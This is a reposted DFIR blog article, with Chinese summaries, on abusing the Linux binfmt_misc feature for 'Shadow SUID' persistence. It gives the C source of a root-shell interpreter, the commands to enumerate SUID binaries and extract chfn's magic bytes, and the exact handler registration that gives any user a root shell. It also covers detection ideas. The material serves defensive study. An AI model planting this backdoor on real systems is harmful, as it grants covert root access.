今天我学到了:Binfmt_misc
Today I Learned: Binfmt_misc

原始链接: https://dfir.ch/posts/today_i_learned_binfmt_misc/

## binfmt_misc:一种隐蔽的 Linux 持久化技术 `binfmt_misc` 是 Linux 内核的一个特性,它扩展了可执行文件处理能力,超出了原生格式(如 ELF)。它允许系统通过在 `/proc/sys/fs/binfmt_misc` 虚拟文件系统注册解释器来运行具有自定义二进制格式的文件。这使得执行脚本、其他架构的二进制文件或自定义文件类型成为可能。 一个关键的安全问题源于利用 `binfmt_misc` 实现持久化的能力,特别是通过一种称为“Shadow SUID”的技术。通过使用 ‘C’ 标志注册处理程序,攻击者可以将合法 SUID 二进制文件(如 `chfn`)的执行重定向到他们自己的解释器,并继承 SUID 的 root 权限。这有效地创建了一个 root 后门,无需在解释器本身上拥有 SUID 权限,使得使用传统的 SUID 扫描难以检测。 检测具有挑战性,因为标准的 SUID 搜索不会标记该解释器。监控 `/proc/sys/fs/binfmt_misc` 中的新处理程序,尤其是指向可写位置的处理程序,可能会有所帮助,但这需要 root 访问权限才能实现。该技术是临时的,需要在重启后重新安装,从而提供了进一步的检测机会。专家指出,现有的专注于 SUID 利用的规则可能不会触发,因为原始 SUID 二进制文件并未直接执行——它是通过代理执行的。

这个Hacker News讨论围绕着`binfmt_misc`,一个允许注册不同二进制格式解释器的Linux内核特性。传统上,它与QEMU一起用于运行其他架构的二进制文件,一位用户分享了过去在FreeBSD上的实验。 他们利用一个类似的模块(`imgact_binmisc`)创建了一种“大众模式”——一个处理程序,它执行原生二进制文件,但始终报告成功,无论实际结果如何。虽然最终导致系统无法启动(如预期),但该项目展示了系统的一种巧妙但无用的用法。 该用户还指出潜在的恶意用途,认为`binfmt_misc`可能被利用于在FreeBSD系统上实现持久化或代码注入。这篇帖子源于对dfir.ch关于`binfmt_misc`的文章的链接。
相关文章

原文

Introduction

binfmt_misc (short for Binary Format Miscellaneous) is a Linux kernel feature that allows the system to recognize and execute files based on custom binary formats. It’s part of the Binary Format (binfmt) subsystem, which determines how the kernel runs an executable file.

Normally, Linux only knows how to run native binaries (like ELF files compiled for the system’s CPU architecture, and a few other file types). binfmt_misc extends this by allowing other kinds of files, scripts, binaries for other architectures, or even custom file types, to be executed as if they were native.

When you enable binfmt_misc, the kernel adds a virtual filesystem (usually mounted at /proc/sys/fs/binfmt_misc/). Within this filesystem, you can register new binary format handlers. Each handler tells the kernel:

  • How to recognize a file (e.g., by its magic bytes or filename extension)
  • What interpreter or emulator to use to run it
  • When a matching file is executed, the kernel automatically invokes the specified interpreter with the file as its argument.

binfmt_misc is managed from /proc/sys/fs/binfmt_misc. There are two files in that folder by default, register and status. To actually register a new binary type, you have to construct a string looking like

:name:type:offset:magic:mask:interpreter:flags

(where you can choose the : upon your needs) and echo it to /proc/sys/fs/binfmt_misc/register. The binfmt-misc man page goes into details about the various flags.

Why care?

TL;DR: binfmt_misc provides a nifty way (once the attacker has gained root rights on the machine) to create a little backdoor to regain root access when the original access no longer works. This mechanism is not really known, according to blog posts and articles on the topic, which makes it a perfect fit for staying under the radar.

In 2019, SentinelOne published a two-part analysis describing a persistence technique called Shadow SUID (Part 1, Part 2): Shadow SUID is the same as a regular suid file, only it doesn’t have the setuid bit, which makes it very hard to find or notice. The way shadow SUID works is by inheriting the setuid bit from an existing setuid binary using the binfmt_misc mechanism, which is part of the Linux kernel.

Interestingly, this technique seems to have fallen into oblivion again, as neither MITRE ATT&CK nor the five-part Elastic Security “Linux Persistence Detection Engineering” series mentioned it (the last part here with links to all other parts). As of 2025, however, the technique works wonderfully and would probably be very difficult to detect (see the hunting section later).

Setting up our backdoor

A binfmt_misc rule is registered with the C (credentials) flag. That flag changes the normal behavior: instead of using the interpreter’s rights, the kernel looks up the access rights from the original file being executed. If that original file is setuid-root, the interpreter runs as root. (C also implies O, the “open fd for unreadable files” flag.)

In the demo from SentinelOne, they register a binfmt_misc rule that matches a chosen SUID binary’s first 128 bytes (e.g., ping). Then, when you “run ping”, the kernel dispatches to the attacker’s interpreter but with ping’s setuid credentials, so the interpreter is effectively root. That’s why it looks like the “script” or binary (aka the interpreter) is being interpreted as SUID. Let that sink in.. It took me a few readings to grasp that concept. But it works, as we will see below!

First, we check if binfmt_misc is mounted:

# mount | grep binfmt_misc
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)

For setting up my interpreter, I’m following 0xdf’s writeup for the HTB machine Retired closely:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    char *const paramList[10] = {"/bin/bash", "-p", NULL};
    const int id = 0;
    setresuid(id, id, id);
    execve(paramList[0], paramList, NULL);
    return 0;
}

Compile the interpreter with gcc -o malmoeb malmoeb.c. Next, we need to find a suitable SUID binary:

root@binfmt_misc:/dev/shm# find / -perm -4000 2>/dev/null
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
[..]

Wait, chfn? The chfn binary on Linux is a legacy command-line tool used to change a user’s “finger” information. Details like their full name, office number, or phone numbers are stored in the GECOS field of /etc/passwd. Although rarely used today, it remains installed by default because it’s part of the standard shadow or util-linux package, which provides core user management utilities such as passwd and chsh. Keeping chfn ensures backward compatibility with older scripts and systems that still rely on traditional Unix account management tools, even though most modern environments no longer use the finger service or its associated data.

SentinelOne, in their demo, uses the ping utility, but that approach has the drawback of breaking the command’s normal functionality. However, they also published some clever workarounds, though those are more complex. By using a legacy command like chfn, this extra step should most likely be unnecessary (since nobody hardly uses that command anymore).

Here we extract the magic bytes from chfn (in hex) to create a new handler.

cat /usr/bin/chfn | xxd -p | head -1 | sed 's/\(..\)/\\x\1/g'
\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x00\x72\x00\x00\x00\x00

We assemble the required string and echo this string (as root) into /proc/sys/fs/binfmt_misc/register:

echo ':malmoeb:M::\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x00\x72\x00\x00\x00\x00::/dev/shm/malmoeb:C' > /proc/sys/fs/binfmt_misc/register

That breaks down to (again, thanks to 0xdf):

  • name - malmoeb (arbitrary)
  • using magic bytes
  • no offset
  • signature that matches the first 30 bytes of chfn
  • no mask
  • interpreter of /dev/shm/malmoeb
  • C flag

malmoeb was successfully created as a new handler. Pointing to our interpreter:

root@binfmt_misc://proc/sys/fs/binfmt_misc# cat malmoeb 
enabled
interpreter /dev/shm/malmoeb
flags: OC
offset 0
magic 7f454c4602010100000000000000000003003e0001000000007200000000

No, when we execute chfn..

malmoeb@binfmt_misc:~$ id
uid=1000(malmoeb) gid=1000(malmoeb) groups=1000(malmoeb)
malmoeb@binfmt_misc:~$ chfn
root@binfmt_misc:/home/malmoeb# 

Holy cow - this is really working! As an unprivileged user, all I have to type is chfn to get a root shell!

Hunting

The SUID searches (typically used for hunting) will not flag our interpreter binary, as we have not set SUID rights on this file. One technique would be to specifically check the registered handlers:

$ ls -la /proc/sys/fs/binfmt_misc

Or monitor /proc/sys/fs/binfmt_misc/ for new or changed handlers; alert on any registration events. Next one would alert on handlers whose interpreter path points to writable or ephemeral locations (e.g., /tmp, /dev/shm, user home directories.., however, this might not be a strong detection, because you already need root rights to install this mechanism. So you could create an executable wherever you want on the system).

The good thing is - our registered handler will only be temporary, which means when the system reboots, our handler will be gone. If an attacker wants to maintain long-term access via this technique, they must set up yet another mechanism to reinstall the handler / interpreter, giving us another chance to catch them.

Let’s ask an expert

So, I asked a true expert in that field, Ruben Groenewoud, Senior Security Research Engineer at Elastic, for his thoughts on this, especially regarding detection.

As the steps for execution rely mostly on using built-in shell tools, the /proc filesystem, and hijacking the execution flow, there are very limited traces to catch.. The most interesting part to note here with the execution chain, is that chfn is never even executed; its a proxy execution.

Proxy execution

Figure 1: Proxy execution

So rules that I created such as https://github.com/elastic/detection-rules/blob/main/rules/linux/privilege_escalation_potential_suid_sgid_exploitation.toml will not trigger, because chfn is never executed on its own.

From the attack chain point of view, 2 steps that were flagged by my rules are the execution of a hex payload (as you grabbed the memory using xxd -p) and SUID/SGUID enumeration, but these two are not necessary in an adversary point of view.

Very interesting! And true - SUID/SGUID enumeration and the xxd -p command are not strictly necessary to be executed on our target host. Ruben will look more into this technique, and I’m sure he will come up with some cool detections :)

Further reading

  • Using Go as a Scripting Language in Linux from Cloudflare explains how Go, normally a compiled language, can be used like a scripting language on Linux systems. The article describes using Linux’s binfmt_misc feature to register Go source files as executable. By creating a small wrapper (such as a gorun command) and associating it with Go files, users can make .go scripts executable and run them directly, just like shell scripts.

  • On BINFMT_MISC by Benjamin Toll explains how the Linux feature binfmt_misc allows the operating system to treat arbitrary file types as executable. When a file is run, the kernel can automatically pass it to a specified interpreter based on its format or magic number, not just its extension.

联系我们 contact @ memedata.com